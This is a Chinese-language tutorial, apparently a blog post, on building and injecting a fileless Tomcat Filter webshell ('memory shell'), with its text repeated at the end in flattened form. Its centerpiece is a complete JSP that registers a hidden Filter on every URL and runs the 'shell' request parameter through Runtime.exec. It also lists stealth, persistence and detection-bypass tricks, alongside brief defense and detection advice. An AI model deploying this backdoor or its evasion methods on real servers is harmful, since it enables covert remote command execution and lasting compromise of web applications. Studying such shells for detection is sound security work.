java Filter内存马分析
字数 2682 2025-08-29 08:31:35

Java Filter内存马分析与实现

1. Filter内存马概述

Filter内存马是一种基于Java Servlet Filter机制的无文件Webshell技术,它通过动态注入恶意Filter到运行中的Web容器(如Tomcat)来实现持久化控制。与传统的文件型Webshell相比,内存马具有以下特点:

  1. 无需上传恶意文件到服务器
  2. 直接驻留在内存中,难以通过文件扫描发现
  3. 可以绕过常规的文件检测机制
  4. 即使删除注入的JSP文件,内存中的Filter仍然有效

2. 基本原理

Filter内存马的核心原理是利用Java反射机制和Tomcat内部API,动态地将恶意Filter添加到应用的Filter链中。当HTTP请求到达时,Tomcat会依次调用Filter链中的每个Filter,从而执行我们的恶意代码。

2.1 Filter工作机制

标准Filter工作流程:

  1. 客户端发送请求到Web服务器
  2. 服务器根据URL匹配Filter映射
  3. 创建FilterChain对象,包含所有匹配的Filter
  4. 依次调用每个Filter的doFilter方法
  5. 最后调用目标Servlet的服务方法

2.2 内存马实现关键点

要实现Filter内存马,需要解决以下问题:

  1. 如何在不修改web.xml的情况下动态添加Filter
  2. 如何获取Tomcat内部对象(StandardContext等)
  3. 如何构造完整的Filter组件(FilterDef、FilterMap、FilterConfig)
  4. 如何将恶意Filter插入到现有Filter链中

3. 详细实现步骤

3.1 基础Filter示例

package com.naihe;

import javax.servlet.*;
import java.io.IOException;

public class FilertDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("初始化完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
                        FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        
        // 先放行请求,避免影响正常业务
        filterChain.doFilter(servletRequest, servletResponse);
        
        // 恶意代码执行点
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("过滤中。。。");
    }

    @Override
    public void destroy() {
        System.out.println("过滤结束");
    }
}

传统配置方式(web.xml):

<filter>
    <filter-name>enfilter</filter-name>
    <filter-class>com.naihe.FilertDemo</filter-class>
</filter>
<filter-mapping>
    <filter-name>enfilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

3.2 动态注入Filter的实现

要实现不修改web.xml的动态注入,需要了解Tomcat内部结构:

  1. ServletContext - Servlet规范接口,代表Web应用
  2. ApplicationContext - Tomcat对ServletContext的实现
  3. StandardContext - Tomcat中表示Web应用的容器
  4. Filter相关组件
    • FilterDef - 存储过滤器名、实例等基本信息
    • FilterMap - 存储过滤器名和URL模式的映射
    • FilterConfig - 包含FilterDef和Filter对象

3.2.1 关键类分析

  1. ApplicationFilterChain - 维护当前请求的Filter链
  2. ApplicationFilterFactory - 负责创建FilterChain
  3. StandardWrapperValve - 调用ApplicationFilterFactory创建FilterChain

3.2.2 注入流程

  1. 获取ServletContext对象
  2. 通过反射获取ApplicationContext
  3. 通过反射获取StandardContext
  4. 创建恶意Filter实例
  5. 创建并配置FilterDef
  6. 创建并配置FilterMap
  7. 创建ApplicationFilterConfig
  8. 将所有组件添加到StandardContext中

3.3 完整内存马实现代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
    // 1. 反射获取ServletContext
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    
    // 2. 获取ApplicationContext
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    
    // 3. 获取StandardContext
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
    
    // 4. 获取filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    
    String filterName = "Filter";
    if (hashMap.get(filterName) == null) {
        // 5. 创建恶意Filter实例
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("注入初始化");
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
                               FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                
                // 先放行请求
                filterChain.doFilter(servletRequest, servletResponse);
                
                // 恶意代码执行点
                System.out.println(servletRequest.getParameter("shell"));
                Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
                System.out.println("过滤中。。。");
            }

            @Override
            public void destroy() {
                System.out.println("Filter销毁");
            }
        };
        
        // 6. 创建并配置FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);
        
        // 7. 创建并配置FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);
        
        // 8. 创建ApplicationFilterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        
        // 9. 将filterConfig添加到filterConfigs中
        hashMap.put(filterName, applicationFilterConfig);
        
        response.getWriter().println("successfully");
    }
%>

4. 技术细节分析

4.1 Tomcat内部对象获取

  1. 从ServletContext到StandardContext

    • ServletContext → ApplicationContextFacade → ApplicationContext → StandardContext
    • 需要通过反射访问私有字段"context"
  2. Filter相关存储结构

    • StandardContext中维护三个重要集合:
      • filterDefs - 存储所有FilterDef
      • filterMaps - 存储所有FilterMap
      • filterConfigs - 存储所有FilterConfig

4.2 Filter组件关系

  1. FilterDef

    • 包含Filter的名称、实例和类名
    • 通过StandardContext.addFilterDef()添加
  2. FilterMap

    • 定义Filter的URL匹配规则
    • 通过StandardContext.addFilterMapBefore()添加
  3. FilterConfig

    • 包装FilterDef和Context
    • 存储在StandardContext的filterConfigs Map中

4.3 执行流程

  1. 请求到达Tomcat后,StandardWrapperValve会:

    • 调用ApplicationFilterFactory.createFilterChain()
    • 根据URL匹配FilterMap创建FilterChain
    • 从filterConfigs获取对应的FilterConfig
  2. FilterChain执行时:

    • 按顺序调用每个Filter的doFilter方法
    • 最后调用目标Servlet的service方法

5. 防御与检测

5.1 防御措施

  1. 禁用JSP上传功能
  2. 限制反射API的使用
  3. 使用SecurityManager限制敏感操作
  4. 定期检查运行中的Filter列表
  5. 监控Runtime.exec等危险方法的调用

5.2 检测方法

  1. 静态检测

    • 检查是否有可疑的JSP文件
    • 检查web.xml是否有异常配置
  2. 动态检测

    • 列出所有已注册的Filter
    • 检查Filter的类名和代码
    • 监控Filter的执行行为
  3. 内存检测

    • 使用Java Agent技术扫描内存中的Filter实例
    • 检查Filter的类加载来源

6. 高级技巧

6.1 隐蔽性增强

  1. 使用正常Filter类名伪装
  2. 加密恶意代码
  3. 延迟执行或条件触发
  4. 模仿正常Filter的行为模式

6.2 持久化机制

  1. 注册ServletContextListener在应用重启后重新注入
  2. 利用线程定期检查Filter状态
  3. 通过JNDI或LDAP远程加载恶意类

6.3 绕过检测

  1. 使用Javaassist动态生成Filter类
  2. 通过字节码技术修改已有Filter
  3. 利用Tomcat的热部署机制

7. 总结

Filter内存马是一种高级的Web持久化技术,它利用了Java Servlet规范和Tomcat实现细节。理解其原理不仅有助于安全研究人员检测和防御此类威胁,也能帮助开发人员编写更安全的Web应用。防御Filter内存马需要从多个层面进行防护,包括文件上传控制、运行时监控和权限限制等。

Java Filter内存马分析与实现 1. Filter内存马概述 Filter内存马是一种基于Java Servlet Filter机制的无文件Webshell技术,它通过动态注入恶意Filter到运行中的Web容器(如Tomcat)来实现持久化控制。与传统的文件型Webshell相比,内存马具有以下特点: 无需上传恶意文件到服务器 直接驻留在内存中,难以通过文件扫描发现 可以绕过常规的文件检测机制 即使删除注入的JSP文件,内存中的Filter仍然有效 2. 基本原理 Filter内存马的核心原理是利用Java反射机制和Tomcat内部API,动态地将恶意Filter添加到应用的Filter链中。当HTTP请求到达时,Tomcat会依次调用Filter链中的每个Filter,从而执行我们的恶意代码。 2.1 Filter工作机制 标准Filter工作流程: 客户端发送请求到Web服务器 服务器根据URL匹配Filter映射 创建FilterChain对象,包含所有匹配的Filter 依次调用每个Filter的doFilter方法 最后调用目标Servlet的服务方法 2.2 内存马实现关键点 要实现Filter内存马,需要解决以下问题: 如何在不修改web.xml的情况下动态添加Filter 如何获取Tomcat内部对象(StandardContext等) 如何构造完整的Filter组件(FilterDef、FilterMap、FilterConfig) 如何将恶意Filter插入到现有Filter链中 3. 详细实现步骤 3.1 基础Filter示例 传统配置方式(web.xml): 3.2 动态注入Filter的实现 要实现不修改web.xml的动态注入,需要了解Tomcat内部结构: ServletContext - Servlet规范接口,代表Web应用 ApplicationContext - Tomcat对ServletContext的实现 StandardContext - Tomcat中表示Web应用的容器 Filter相关组件 : FilterDef - 存储过滤器名、实例等基本信息 FilterMap - 存储过滤器名和URL模式的映射 FilterConfig - 包含FilterDef和Filter对象 3.2.1 关键类分析 ApplicationFilterChain - 维护当前请求的Filter链 ApplicationFilterFactory - 负责创建FilterChain StandardWrapperValve - 调用ApplicationFilterFactory创建FilterChain 3.2.2 注入流程 获取ServletContext对象 通过反射获取ApplicationContext 通过反射获取StandardContext 创建恶意Filter实例 创建并配置FilterDef 创建并配置FilterMap 创建ApplicationFilterConfig 将所有组件添加到StandardContext中 3.3 完整内存马实现代码 4. 技术细节分析 4.1 Tomcat内部对象获取 从ServletContext到StandardContext : ServletContext → ApplicationContextFacade → ApplicationContext → StandardContext 需要通过反射访问私有字段"context" Filter相关存储结构 : StandardContext中维护三个重要集合: filterDefs - 存储所有FilterDef filterMaps - 存储所有FilterMap filterConfigs - 存储所有FilterConfig 4.2 Filter组件关系 FilterDef : 包含Filter的名称、实例和类名 通过StandardContext.addFilterDef()添加 FilterMap : 定义Filter的URL匹配规则 通过StandardContext.addFilterMapBefore()添加 FilterConfig : 包装FilterDef和Context 存储在StandardContext的filterConfigs Map中 4.3 执行流程 请求到达Tomcat后,StandardWrapperValve会: 调用ApplicationFilterFactory.createFilterChain() 根据URL匹配FilterMap创建FilterChain 从filterConfigs获取对应的FilterConfig FilterChain执行时: 按顺序调用每个Filter的doFilter方法 最后调用目标Servlet的service方法 5. 防御与检测 5.1 防御措施 禁用JSP上传功能 限制反射API的使用 使用SecurityManager限制敏感操作 定期检查运行中的Filter列表 监控Runtime.exec等危险方法的调用 5.2 检测方法 静态检测 : 检查是否有可疑的JSP文件 检查web.xml是否有异常配置 动态检测 : 列出所有已注册的Filter 检查Filter的类名和代码 监控Filter的执行行为 内存检测 : 使用Java Agent技术扫描内存中的Filter实例 检查Filter的类加载来源 6. 高级技巧 6.1 隐蔽性增强 使用正常Filter类名伪装 加密恶意代码 延迟执行或条件触发 模仿正常Filter的行为模式 6.2 持久化机制 注册ServletContextListener在应用重启后重新注入 利用线程定期检查Filter状态 通过JNDI或LDAP远程加载恶意类 6.3 绕过检测 使用Javaassist动态生成Filter类 通过字节码技术修改已有Filter 利用Tomcat的热部署机制 7. 总结 Filter内存马是一种高级的Web持久化技术,它利用了Java Servlet规范和Tomcat实现细节。理解其原理不仅有助于安全研究人员检测和防御此类威胁,也能帮助开发人员编写更安全的Web应用。防御Filter内存马需要从多个层面进行防护,包括文件上传控制、运行时监控和权限限制等。